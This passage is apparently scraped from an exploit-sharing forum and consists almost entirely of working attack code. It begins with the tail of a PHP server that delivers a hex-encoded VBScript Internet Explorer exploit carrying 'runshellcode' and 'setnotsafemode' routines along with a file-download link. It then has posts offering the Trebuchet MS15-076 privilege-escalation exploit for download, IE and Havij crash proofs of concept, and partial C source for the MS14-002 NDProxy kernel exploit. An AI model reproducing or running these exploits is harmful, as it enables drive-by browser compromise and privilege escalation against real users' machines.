    "\x77\x28\x30\x30\x29\x26\x63\x68\x72\x77\x28\x30\x30\x29\x0d\x0a\x20\x20\x20\x20\x20\x6d\x79\x61".
    "\x72\x72\x61\x79\x3d\x6d\x79\x61\x72\x72\x61\x79\x26\x63\x68\x72\x77\x28\x30\x30\x29\x26\x63\x68".
    "\x72\x77\x28\x33\x32\x37\x36\x37\x29\x26\x63\x68\x72\x77\x28\x30\x30\x29\x26\x63\x68\x72\x77\x28".
    "\x30\x29\x0d\x0a\x20\x0d\x0a\x20\x20\x20\x20\x20\x69\x66\x28\x69\x6e\x74\x56\x65\x72\x73\x69\x6f".
    "\x6e\x3c\x34\x29\x20\x74\x68\x65\x6e\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x64\x6f\x63\x75".
    "\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x62\x72\x3e\x20\x49\x45\x22\x29\x0d\x0a\x20".
    "\x20\x20\x20\x20\x20\x20\x20\x20\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x69".
    "\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e\x29\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x72\x75\x6e".
    "\x73\x68\x65\x6c\x6c\x63\x6f\x64\x65\x28\x29\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
    "\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x65\x6c\x73\x65\x20\x20\x0d\x0a\x20\x20".
    "\x20\x20\x20\x20\x20\x20\x20\x20\x73\x65\x74\x6e\x6f\x74\x73\x61\x66\x65\x6d\x6f\x64\x65\x28\x29".
    "\x0d\x0a\x20\x20\x20\x20\x20\x65\x6e\x64\x20\x69\x66\x0d\x0a\x20\x20\x65\x6e\x64\x20\x69\x66\x0d".
    "\x0a\x65\x6e\x64\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d\x0a\x20\x0d\x0a\x66\x75\x6e\x63\x74\x69".
    "\x6f\x6e\x20\x42\x65\x67\x69\x6e\x49\x6e\x69\x74\x28\x29\x0d\x0a\x20\x20\x20\x52\x61\x6e\x64\x6f".
    "\x6d\x69\x7a\x65\x28\x29\x0d\x0a\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x61\x61\x28\x35\x29\x0d\x0a".
    "\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x61\x62\x28\x35\x29\x0d\x0a\x20\x20\x20\x61\x30\x3d\x31\x33".
    "\x2b\x31\x37\x2a\x72\x6e\x64\x28\x36\x29\x0d\x0a\x20\x20\x20\x61\x33\x3d\x37\x2b\x33\x2a\x72\x6e".
    "\x64\x28\x35\x29\x0d\x0a\x65\x6e\x64\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d\x0a\x20\x0d\x0a\x66".
    "\x75\x6e\x63\x74\x69\x6f\x6e\x20\x43\x72\x65\x61\x74\x65\x28\x29\x0d\x0a\x20\x20\x4f\x6e\x20\x45".
    "\x72\x72\x6f\x72\x20\x52\x65\x73\x75\x6d\x65\x20\x4e\x65\x78\x74\x0d\x0a\x20\x20\x64\x69\x6d\x20".
    "\x69\x0d\x0a\x20\x20\x43\x72\x65\x61\x74\x65\x3d\x46\x61\x6c\x73\x65\x0d\x0a\x20\x20\x46\x6f\x72".
    "\x20\x69\x20\x3d\x20\x30\x20\x54\x6f\x20\x34\x30\x30\x0d\x0a\x20\x20\x20\x20\x49\x66\x20\x4f\x76".
    "\x65\x72\x28\x29\x3d\x54\x72\x75\x65\x20\x54\x68\x65\x6e\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x43".
    "\x72\x65\x61\x74\x65\x3d\x54\x72\x75\x65\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x45\x78\x69\x74\x20".
    "\x46\x6f\x72\x0d\x0a\x20\x20\x20\x20\x45\x6e\x64\x20\x49\x66\x20\x0d\x0a\x20\x20\x4e\x65\x78\x74".
    "\x0d\x0a\x65\x6e\x64\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d\x0a\x20\x0d\x0a\x73\x75\x62\x20\x74".
    "\x65\x73\x74\x61\x61\x28\x29\x0d\x0a\x65\x6e\x64\x20\x73\x75\x62\x0d\x0a\x20\x0d\x0a\x66\x75\x6e".
    "\x63\x74\x69\x6f\x6e\x20\x6d\x79\x64\x61\x74\x61\x28\x29\x0d\x0a\x20\x20\x20\x20\x4f\x6e\x20\x45".
    "\x72\x72\x6f\x72\x20\x52\x65\x73\x75\x6d\x65\x20\x4e\x65\x78\x74\x0d\x0a\x20\x20\x20\x20\x20\x69".
    "\x3d\x74\x65\x73\x74\x61\x61\x0d\x0a\x20\x20\x20\x20\x20\x69\x3d\x6e\x75\x6c\x6c\x0d\x0a\x20\x20".
    "\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x32".
    "\x29\x20\x20\x0d\x0a\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x61\x62\x28\x30\x29\x3d\x30\x0d\x0a".
    "\x20\x20\x20\x20\x20\x61\x61\x28\x61\x31\x29\x3d\x69\x0d\x0a\x20\x20\x20\x20\x20\x61\x62\x28\x30".
    "\x29\x3d\x36\x2e\x33\x36\x35\x39\x38\x37\x33\x37\x34\x33\x37\x38\x30\x31\x45\x2d\x33\x31\x34\x0d".
    "\x0a\x20\x0d\x0a\x20\x20\x20\x20\x20\x61\x61\x28\x61\x31\x2b\x32\x29\x3d\x6d\x79\x61\x72\x72\x61".
    "\x79\x0d\x0a\x20\x20\x20\x20\x20\x61\x62\x28\x32\x29\x3d\x31\x2e\x37\x34\x30\x38\x38\x35\x33\x34".
    "\x37\x33\x31\x33\x32\x34\x45\x2d\x33\x31\x30\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x6d\x79\x64\x61".
    "\x74\x61\x3d\x61\x61\x28\x61\x31\x29\x0d\x0a\x20\x20\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x20\x50".
    "\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x30\x29\x20\x20\x0d\x0a\x65\x6e\x64\x20\x66\x75".
    "\x6e\x63\x74\x69\x6f\x6e\x20\x0d\x0a\x20\x0d\x0a\x20\x0d\x0a\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20".
    "\x73\x65\x74\x6e\x6f\x74\x73\x61\x66\x65\x6d\x6f\x64\x65\x28\x29\x0d\x0a\x20\x20\x20\x20\x4f\x6e".
    "\x20\x45\x72\x72\x6f\x72\x20\x52\x65\x73\x75\x6d\x65\x20\x4e\x65\x78\x74\x0d\x0a\x20\x20\x20\x20".
    "\x69\x3d\x6d\x79\x64\x61\x74\x61\x28\x29\x20\x20\x0d\x0a\x20\x20\x20\x20\x69\x3d\x72\x75\x6d\x28".
    "\x69\x2b\x38\x29\x0d\x0a\x20\x20\x20\x20\x69\x3d\x72\x75\x6d\x28\x69\x2b\x31\x36\x29\x0d\x0a\x20".
    "\x20\x20\x20\x6a\x3d\x72\x75\x6d\x28\x69\x2b\x26\x68\x31\x33\x34\x29\x20\x20\x0d\x0a\x20\x20\x20".
    "\x20\x66\x6f\x72\x20\x6b\x3d\x30\x20\x74\x6f\x20\x26\x68\x36\x30\x20\x73\x74\x65\x70\x20\x34\x0d".
    "\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x6a\x3d\x72\x75\x6d\x28\x69\x2b\x26\x68\x31\x32\x30\x2b\x6b".
    "\x29\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x28\x6a\x3d\x31\x34\x29\x20\x74\x68\x65\x6e".
    "\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6a\x3d\x30\x20\x20\x20\x20\x20".
    "\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x72\x65\x64".
    "\x69\x6d\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x32\x29\x20\x20\x20\x20\x20".
    "\x20\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x61\x61\x28\x61\x31\x2b\x32\x29\x28".
    "\x69\x2b\x26\x68\x31\x31\x63\x2b\x6b\x29\x3d\x61\x62\x28\x34\x29\x0d\x0a\x20\x20\x20\x20\x20\x20".
    "\x20\x20\x20\x20\x20\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20".
    "\x61\x61\x28\x61\x30\x29\x20\x20\x0d\x0a\x20\x0d\x0a\x20\x20\x20\x20\x20\x6a\x3d\x30\x20\x0d\x0a".
    "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6a\x3d\x72\x75\x6d\x28\x69\x2b\x26\x68".
    "\x31\x32\x30\x2b\x6b\x29\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x20".
    "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x45\x78\x69\x74\x20\x66\x6f\x72\x0d\x0a".
    "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6e\x64\x20\x69\x66\x0d\x0a\x20\x0d\x0a\x20\x20".
    "\x20\x20\x6e\x65\x78\x74\x20\x0d\x0a\x20\x20\x20\x20\x61\x62\x28\x32\x29\x3d\x31\x2e\x36\x39\x37".
    "\x35\x39\x36\x36\x33\x33\x31\x36\x37\x34\x37\x45\x2d\x33\x31\x33\x0d\x0a\x20\x20\x20\x20\x72\x75".
    "\x6e\x6d\x75\x6d\x61\x61\x28\x29\x20\x0d\x0a\x65\x6e\x64\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d".
    "\x0a\x20\x0d\x0a\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x4f\x76\x65\x72\x28\x29\x0d\x0a\x20\x20\x20".
    "\x20\x4f\x6e\x20\x45\x72\x72\x6f\x72\x20\x52\x65\x73\x75\x6d\x65\x20\x4e\x65\x78\x74\x0d\x0a\x20".
    "\x20\x20\x20\x64\x69\x6d\x20\x74\x79\x70\x65\x31\x2c\x74\x79\x70\x65\x32\x2c\x74\x79\x70\x65\x33".
    "\x0d\x0a\x20\x20\x20\x20\x4f\x76\x65\x72\x3d\x46\x61\x6c\x73\x65\x0d\x0a\x20\x20\x20\x20\x61\x30".
    "\x3d\x61\x30\x2b\x61\x33\x0d\x0a\x20\x20\x20\x20\x61\x31\x3d\x61\x30\x2b\x32\x0d\x0a\x20\x20\x20".
    "\x20\x61\x32\x3d\x61\x30\x2b\x26\x68\x38\x30\x30\x30\x30\x30\x30\x0d\x0a\x20\x20\x20\x0d\x0a\x20".
    "\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x30".
    "\x29\x20\x0d\x0a\x20\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x20\x20\x61\x62\x28\x61\x30\x29\x20\x20".
    "\x20\x20\x20\x0d\x0a\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x20\x50\x72\x65".
    "\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x32\x29\x0d\x0a\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x74".
    "\x79\x70\x65\x31\x3d\x31\x0d\x0a\x20\x20\x20\x20\x61\x62\x28\x30\x29\x3d\x31\x2e\x31\x32\x33\x34".
    "\x35\x36\x37\x38\x39\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30\x31\x32\x33\x34\x35\x36\x37\x38".
    "\x39\x30\x0d\x0a\x20\x20\x20\x20\x61\x61\x28\x61\x30\x29\x3d\x31\x30\x0d\x0a\x20\x20\x20\x20\x20".
    "\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x49\x66\x28\x49\x73\x4f\x62\x6a\x65\x63\x74\x28".
    "\x61\x61\x28\x61\x31\x2d\x31\x29\x29\x20\x3d\x20\x46\x61\x6c\x73\x65\x29\x20\x54\x68\x65\x6e\x0d".
    "\x0a\x20\x20\x20\x20\x20\x20\x20\x69\x66\x28\x69\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e\x3c\x34\x29".
    "\x20\x74\x68\x65\x6e\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6d\x65\x6d\x3d\x63\x69".
    "\x6e\x74\x28\x61\x30\x2b\x31\x29\x2a\x31\x36\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
    "\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6a\x3d\x76\x61\x72\x74\x79\x70\x65\x28\x61".
    "\x61\x28\x61\x31\x2d\x31\x29\x29\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x28".
    "\x28\x6a\x3d\x6d\x65\x6d\x2b\x34\x29\x20\x6f\x72\x20\x28\x6a\x2a\x38\x3d\x6d\x65\x6d\x2b\x38\x29".
    "\x29\x20\x74\x68\x65\x6e\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66".
    "\x28\x76\x61\x72\x74\x79\x70\x65\x28\x61\x61\x28\x61\x31\x2d\x31\x29\x29\x3c\x3e\x30\x29\x20\x20".
    "\x54\x68\x65\x6e\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
    "\x20\x20\x20\x49\x66\x28\x49\x73\x4f\x62\x6a\x65\x63\x74\x28\x61\x61\x28\x61\x31\x29\x29\x20\x3d".
    "\x20\x46\x61\x6c\x73\x65\x20\x29\x20\x54\x68\x65\x6e\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
    "\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x74".
    "\x79\x70\x65\x31\x3d\x56\x61\x72\x54\x79\x70\x65\x28\x61\x61\x28\x61\x31\x29\x29\x0d\x0a\x20\x20".
    "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6e\x64\x20\x69\x66\x20\x20\x20".
    "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
    "\x20\x20\x20\x20\x65\x6e\x64\x20\x69\x66\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65".
    "\x6c\x73\x65\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x72\x65\x64\x69\x6d\x20".
    "\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x30\x29\x0d\x0a\x20\x20\x20\x20\x20\x20".
    "\x20\x20\x20\x20\x20\x20\x20\x65\x78\x69\x74\x20\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d\x0a\x20".
    "\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6e\x64\x20\x69\x66\x20\x0d\x0a\x20\x20".
    "\x20\x20\x20\x20\x20\x20\x65\x6c\x73\x65\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69".
    "\x66\x28\x76\x61\x72\x74\x79\x70\x65\x28\x61\x61\x28\x61\x31\x2d\x31\x29\x29\x3c\x3e\x30\x29\x20".
    "\x20\x54\x68\x65\x6e\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
    "\x20\x49\x66\x28\x49\x73\x4f\x62\x6a\x65\x63\x74\x28\x61\x61\x28\x61\x31\x29\x29\x20\x3d\x20\x46".
    "\x61\x6c\x73\x65\x20\x29\x20\x54\x68\x65\x6e\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
    "\x20\x20\x20\x20\x20\x20\x20\x74\x79\x70\x65\x31\x3d\x56\x61\x72\x54\x79\x70\x65\x28\x61\x61\x28".
    "\x61\x31\x29\x29\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6e\x64\x20".
    "\x69\x66\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20".
    "\x20\x20\x20\x20\x20\x20\x20\x65\x6e\x64\x20\x69\x66\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x65".
    "\x6e\x64\x20\x69\x66\x0d\x0a\x20\x20\x20\x20\x65\x6e\x64\x20\x69\x66\x0d\x0a\x20\x20\x20\x20\x20".
    "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x49".
    "\x66\x28\x74\x79\x70\x65\x31\x3d\x26\x68\x32\x66\x36\x36\x29\x20\x54\x68\x65\x6e\x20\x20\x20\x20".
    "\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4f\x76\x65\x72\x3d\x54\x72".
    "\x75\x65\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x45\x6e\x64\x20\x49\x66\x20\x20\x0d\x0a".
    "\x20\x20\x20\x20\x49\x66\x28\x74\x79\x70\x65\x31\x3d\x26\x68\x42\x39\x41\x44\x29\x20\x54\x68\x65".
    "\x6e\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4f\x76\x65\x72\x3d\x54\x72\x75\x65\x0d\x0a".
    "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x77\x69\x6e\x39\x78\x3d\x31\x0d\x0a\x20\x20\x20\x20\x45".
    "\x6e\x64\x20\x49\x66\x20\x20\x0d\x0a\x20\x0d\x0a\x20\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x20\x50".
    "\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x30\x29\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20".
    "\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x65\x6e\x64\x20\x66\x75\x6e\x63\x74\x69\x6f".
    "\x6e\x0d\x0a\x20\x0d\x0a\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x72\x75\x6d\x28\x61\x64\x64\x29\x20".
    "\x0d\x0a\x20\x20\x20\x20\x4f\x6e\x20\x45\x72\x72\x6f\x72\x20\x52\x65\x73\x75\x6d\x65\x20\x4e\x65".
    "\x78\x74\x0d\x0a\x20\x20\x20\x20\x72\x65\x64\x69\x6d\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20".
    "\x61\x61\x28\x61\x32\x29\x20\x20\x0d\x0a\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x61\x62\x28\x30\x29".
    "\x3d\x30\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x61\x61\x28\x61\x31\x29\x3d\x61\x64\x64\x2b\x34\x20".
    "\x20\x20\x20\x20\x0d\x0a\x20\x20\x20\x20\x61\x62\x28\x30\x29\x3d\x31\x2e\x36\x39\x37\x35\x39\x36".
    "\x36\x33\x33\x31\x36\x37\x34\x37\x45\x2d\x33\x31\x33\x20\x20\x20\x20\x20\x20\x20\x0d\x0a\x20\x20".
    "\x20\x20\x72\x75\x6d\x3d\x6c\x65\x6e\x62\x28\x61\x61\x28\x61\x31\x29\x29\x20\x20\x0d\x0a\x20\x20".
    "\x20\x20\x0d\x0a\x20\x20\x20\x20\x61\x62\x28\x30\x29\x3d\x30\x0d\x0a\x20\x20\x20\x20\x72\x65\x64".
    "\x69\x6d\x20\x20\x50\x72\x65\x73\x65\x72\x76\x65\x20\x61\x61\x28\x61\x30\x29\x0d\x0a\x65\x6e\x64".
    "\x20\x66\x75\x6e\x63\x74\x69\x6f\x6e\x0d\x0a\x20\x0d\x0a\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e\x0d".
    "\x0a\x20\x0d\x0a\x3c\x2f\x62\x6f\x64\x79\x3e\x0d\x0a\x3c\x2f\x68\x74\x6d\x6c\x3e";
    $msgd=str_replace("FILE_DOWNLOAD",$link,$msgd);
     
    for (;;) {
        if ($client = @socket_accept($reza)) {
            socket_write($client, "HTTP/1.1 200 OK\r\n" .
                         "Content-length: " . strlen($msgd) . "\r\n" .
                         "Content-Type: text/html; charset=UTF-8\r\n\r\n" .
                         $msgd);
            print "\n Target Checked Your Link \n";
        }
        else usleep(100000);
    }
     
     
    ?>

![](/proxy.php?image=https%3A%2F%2Fwww.exploit- db.com%2Fscreenshots%2Fidlt38000%2F37800.png&hash=21e1cc544595b9efbc65c90fb0d6adbb)

Windows 8.1 DCOM DCE/RPC Local NTLM Reflection
ID: 67686ba3b4103b69df379d10
Thread ID: 26029
Created: 2015-08-14T08:19:37+0000
Last Post: 2015-08-14T08:19:37+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 2K

Source: https://github.com/monoxgas/Trebuchet

Trebuchet
MS15-076 (CVE-2015-2370) Privilege Escalation

Copies a file to any privileged location on disk

Compiled with VS2015, precompiled exe in Binary directory

Usage: trebuchet.exe C:\Users\Bob\Evil.txt C:\Windows\System32\Evil.dll

This is a lightly modified Proof of Concept by James Forshaw with Google, found here: [https://code.google.com/p/google- security-r...s/detail?id=325](https://code.google.com/p/google-security- research/issues/detail?id=325)

CreateSymlink tool was written by James Forshaw found here: https://github.com/google/symboliclink-testing-tools

Notes:

Microsoft.VisualStudio_OLE.Inerop.dll must be in the same directory
Exploit can only be one once every 2-3 minutes. This is because RPC can be help up by LocalSystem
Tested on x64/x86 Windows 7/8.1

Click to expand...

:zns5: [Скачать|Download](https://github.com/offensive-security/exploit-database-bin- sploits/raw/master/sploits/37768.zip)

Internet Explorer CTreeNode
ID: 67686ba3b4103b69df379d11
Thread ID: 26027
Created: 2015-08-13T15:55:49+0000
Last Post: 2015-08-13T15:55:49+0000
Author: DarckSol
Prefix: DoS
Replies: 0 Views: 2K

Click to expand...

Code:Copy to clipboard

<!DOCTYPE HTML>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=10" />
<script>
    function Trigger() {
        for(i=0; i < document.getElementsByTagName("meter").length; i++) {
            document.getElementsByTagName("meter")[i].innerText = "a";
        }
    }
    function reload() {
        location.reload();
    }
    setTimeout("reload()", 1000);
</script>
<button><label><style>label{}</style><form>
<meter>label<optgroup><meter>fieldset<script>Trigger();</script></meter>
<select></select><button></button><form><form>
<input><script>Trigger();</script>
<form><style>form{-ms-behavior: url("c");}</style></form>
</html>

Click to expand...

Havij Pro - Crash POC
ID: 67686ba3b4103b69df379d12
Thread ID: 26021
Created: 2015-08-12T07:48:58+0000
Last Post: 2015-08-12T07:48:58+0000
Author: DarckSol
Prefix: DoS
Replies: 0 Views: 2K

Code:Copy to clipboard

#!/usr/bin/env python
#Exploit Title:Havij Pro Crash POC
# Tested:windows7
#Sofrware Link:http://www.itsecteam.com/
#Version:1.17
#Email:i_7e1@outlook.com
#Author:M1x7e1@Safeye Team
#run python poc.py
#copy content to target
#click Analyze
 
## EDB-Note: tested and verified using version 1.6 Pro
 
content = “\x41” * 8000
file = open(“xx.txt”,”w”)
file.write(content)
file.close()
Windows NDProxy Privilege Escalation
ID: 67686ba3b4103b69df379d13
Thread ID: 26020
Created: 2015-08-09T10:48:00+0000
Last Post: 2015-08-09T10:48:00+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 2K

NDPROXY is a system-provided driver that interfaces WAN miniport drivers, call managers, and miniport call managers to the Telephony Application Programming Interfaces (TAPI) services. The vulnerability is caused when the NDProxy.sys kernel component fails to properly validate input. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode (i.e. with SYSTEM privileges).

Click to expand...

Code:Copy to clipboard

/*
################################################################
# Exploit Title: Windows NDProxy Privilege Escalation (MS14-002)
# Date: 2015-08-03
# Exploit Author: Tomislav Paskalev
# Vulnerable Software:
#   Windows XP SP3 x86
#   Windows XP SP2 x86-64
#   Windows 2003 SP2 x86
#   Windows 2003 SP2 x86-64
#   Windows 2003 SP2 IA-64
# Supported vulnerable software:
#   Windows XP SP3 x86
#   Windows 2003 SP2 x86
# Tested on:
#   Windows XP SP3 x86 EN
#   Windows 2003 SP2 x86 EN
# CVE ID: 2013-5065
################################################################
# Vulnerability description:
#   NDPROXY is a system-provided driver that interfaces WAN
#   miniport drivers, call managers, and miniport call managers
#   to the Telephony Application Programming Interfaces (TAPI)
#   services.
#   The vulnerability is caused when the NDProxy.sys kernel
#   component fails to properly validate input.
#   An attacker who successfully exploited this vulnerability
#   could run arbitrary code in kernel mode (i.e. with SYSTEM
#   privileges).
################################################################
# Exploit notes:
#   Privileged shell execution:
#     - the SYSTEM shell will spawn within the existing shell
#       (i.e. exploit usable via a remote shell)
#   Exploit compiling:
#     - # i586-mingw32msvc-gcc MS14-002.c -o MS14-002.exe
#   Exploit prerequisites:
#     - low privilege access to the target (remote shell or RDP)
#     - target not patched (KB2914368 not installed)
#     - service "Routing and Remote Access" running on the target
#       - "Power User" user group can start and stop services
#         - > sc query remoteaccess
#         - > sc start remoteaccess
################################################################
# Thanks to:
#   Andy (C PoC - Win XP SP3)
#   ryujin (Python PoC - Win XP SP3)
################################################################
# References:
#   http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-5065
#   https://technet.microsoft.com/en-us/library/security/ms14-002.aspx
#   https://penturalabs.wordpress.com/2013/12/11/ndproxy-privilege-escalation-cve-2013-5065/
#   https://www.exploit-db.com/exploits/30014/
#   https://msdn.microsoft.com/en-us/library/windows/desktop/ms681674%28v=vs.85%29.aspx
#   https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858%28v=vs.85%29.aspx
#   https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381%28v=vs.85%29.aspx
#   https://msdn.microsoft.com/en-us/library/windows/desktop/aa363216%28v=vs.85%29.aspx
################################################################
*/
 
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
 
 
 
typedef struct {
    PVOID   Unknown1;
    PVOID   Unknown2;
    PVOID   Base;
    ULONG   Size;
    ULONG   Flags;
    USHORT  Index;
    USHORT  NameLength;
    USHORT  LoadCount;
    USHORT  PathLength;
    CHAR    ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
 
 
typedef struct {
    ULONG   Count;
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
 
 
typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemModuleInformation = 11,
    SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;
 
 
typedef DWORD NTSTATUS;
NTSTATUS (WINAPI *_NtQuerySystemInformation) (SYSTEM_INFORMATION_CLASS SystemInformationClass,
         PVOID SystemInformation,
         ULONG SystemInformationLength,
         PULONG ReturnLength);
 
 
 
static VOID InitFirstPage (void)
{
    PVOID BaseAddress;
    ULONG RegionSize;
    NTSTATUS ReturnCode;
    FARPROC NtAllocateVirtualMemory;
 
    NtAllocateVirtualMemory = GetProcAddress (GetModuleHandle ("NTDLL.DLL"), "NtAllocateVirtualMemory");
 
    fprintf (stderr, "[+] NtAllocateVirtualMemory@%p\n", NtAllocateVirtualMemory);
    RegionSize = 0xf000;
    BaseAddress = (PVOID) 0x00000001;
    ReturnCode = NtAllocateVirtualMemory (GetCurrentProcess (),
                                         &BaseAddress,
                                         0,
                                         &RegionSize,
                                         MEM_COMMIT | MEM_RESERVE,
                                         PAGE_EXECUTE_READWRITE);
    if (ReturnCode != 0)
    {
         fprintf (stderr, "[-] NtAllocateVirtualMemory() failed to map first page\n");
         fprintf (stderr, "    Error code: %#X\n", ReturnCode);
         fflush (stderr);
         ExitProcess (1);
    }
    fprintf (stderr, "[+] BaseAddress: %p, RegionSize: %#x\n", BaseAddress, RegionSize), fflush (stderr);
    FillMemory (BaseAddress, RegionSize, 0x41);
    return;
}
 
 
 
int exploit (unsigned char *shellcode)
{
    DWORD writtenBytes;
    int returnValue;
 
    InitFirstPage ();
 
    unsigned char *shellcodeBuffer;
    shellcodeBuffer = (char *) malloc (400);
    memset (shellcodeBuffer, (int) "xCC", 400);
    memcpy (shellcodeBuffer, shellcode, 112);
 
    returnValue = WriteProcessMemory ((HANDLE) 0xFFFFFFFF, (LPVOID) 0x00000001, shellcodeBuffer, 0x400, &writtenBytes);
    if (returnValue == 0)
    {
        printf ("[-] Attempt to map memory_write failed\n");
        printf ("    Error code: %d\n", GetLastError ());
        exit(1);
    }
    HANDLE ndProxyDeviceHandle = CreateFileA ("\\\\.\\NDProxy", 0, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (ndProxyDeviceHandle == INVALID_HANDLE_VALUE)
    {
        printf ("[-] Creating a device handle on NDProxy failed\n");
        printf ("    Error code: %d\n", GetLastError());
        exit (0);
    }
    DWORD inputBuffer [0x15] = {0};
    DWORD returnedBytes = 0;
    *(inputBuffer + 5) = 0x7030125;
    *(inputBuffer + 7) = 0x34;
